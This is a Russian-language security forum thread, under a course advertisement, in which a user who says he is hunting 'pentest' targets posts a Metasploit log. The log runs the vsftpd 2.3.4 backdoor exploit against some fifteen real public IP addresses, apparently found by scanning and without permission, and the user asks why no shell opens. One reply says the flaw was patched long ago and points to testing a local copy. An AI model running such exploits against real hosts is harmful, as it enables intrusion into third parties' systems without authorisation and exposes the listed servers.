• B правой части каждого сообщения есть стрелки ⇧ и ⇩. Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок ✔ в правой части сообщения.

  • 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

vsFTPd 2.3.4, не удаётся взломать.

D

datingscam

Всем привет, сегодня начал активно искать цели для ПЕНТЕСТА! Начал с поиска серверов, которые стоят на vsftpd_234_backdoor.
В общем, начинаю нормально вводить RHOSTS, зная, что сервер, к которому сейчас будет выполнена попытка коннекта, стоит на vsftpd2.3.4.
И что же? Какой итог? Вот такой.... и так много раз, ни одной удачной попытки, может знает кто, в чем проблема?
Добавлю, что юзаю VPN NordVPN (P2P).

Лог:
Код: 
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target address range or CIDR identifier
   RPORT   21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 37.139.55.5
RHOSTS => 37.139.55.5
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 37.139.55.5:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 37.139.55.5:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 157.107.255.120
RHOSTS => 157.107.255.120
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 157.107.255.120:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 157.107.255.120:21 - USER: 530 Permission denied.
[-] 157.107.255.120:21 - This server is configured for anonymous only and the backdoor code cannot be reached
[*] Exploit completed, but no session was created.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 91.48.126.253
RHOSTS => 91.48.126.253
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[-] 91.48.126.253:21 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (91.48.126.253:21).
[*] Exploit completed, but no session was created.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 80.92.127.162
RHOSTS => 80.92.127.162
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 80.92.127.162:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 80.92.127.162:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 61.64.111.92
RHOSTS => 61.64.111.92
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[-] 61.64.111.92:21 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (61.64.111.92:21).
[*] Exploit completed, but no session was created.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 157.107.192.114
RHOSTS => 157.107.192.114
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 157.107.192.114:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 157.107.192.114:21 - USER: 530 Permission denied.
[-] 157.107.192.114:21 - This server is configured for anonymous only and the backdoor code cannot be reached
[*] Exploit completed, but no session was created.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 157.107.192.30
RHOSTS => 157.107.192.30
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 157.107.192.30:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 157.107.192.30:21 - USER: 530 Permission denied.
[-] 157.107.192.30:21 - This server is configured for anonymous only and the backdoor code cannot be reached
[*] Exploit completed, but no session was created.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 62.33.191.133
RHOSTS => 62.33.191.133
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 62.33.191.133:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 62.33.191.133:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 193.33.132.38
RHOSTS => 193.33.132.38
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 193.33.132.38:21 - Banner: 220 vsFTPd 2.3.4+ (ext.1) ready...
[*] 193.33.132.38:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 62.122.102.76
RHOSTS => 62.122.102.76
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[-] 62.122.102.76:21 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (62.122.102.76:21).
[*] Exploit completed, but no session was created.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 176.62.93.214
RHOSTS => 176.62.93.214
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 176.62.93.214:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 176.62.93.214:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 78.110.54.200
RHOSTS => 78.110.54.200
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 78.110.54.200:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 78.110.54.200:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 31.211.19.31
RHOSTS => 31.211.19.31
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 31.211.19.31:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 31.211.19.31:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 212.12.74.139
RHOSTS => 212.12.74.139
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 212.12.74.139:21 - Banner: 220 (vsFTPd 2.3.4)
[-] 212.12.74.139:21 - Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer
[*] Exploit completed, but no session was created.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 78.41.92.226
RHOSTS => 78.41.92.226
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 78.41.92.226:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 78.41.92.226:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
 
Последнее редактирование модератором:
Сортировать по дате Сортировать по голосам
ghostphisher

ghostphisher

местный
Grey Team
07.12.2016
2 602
3 413
BIT
0
За 8 лет дыру уже пофиксили. Если хочется тестов - можно скачать архивный не патченный vsftpd2.3.4. , поставить себе на локалхост и опробовать.
 
За 0 Против
Для ответа нужно войти/зарегистрироваться
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!

Верх Низ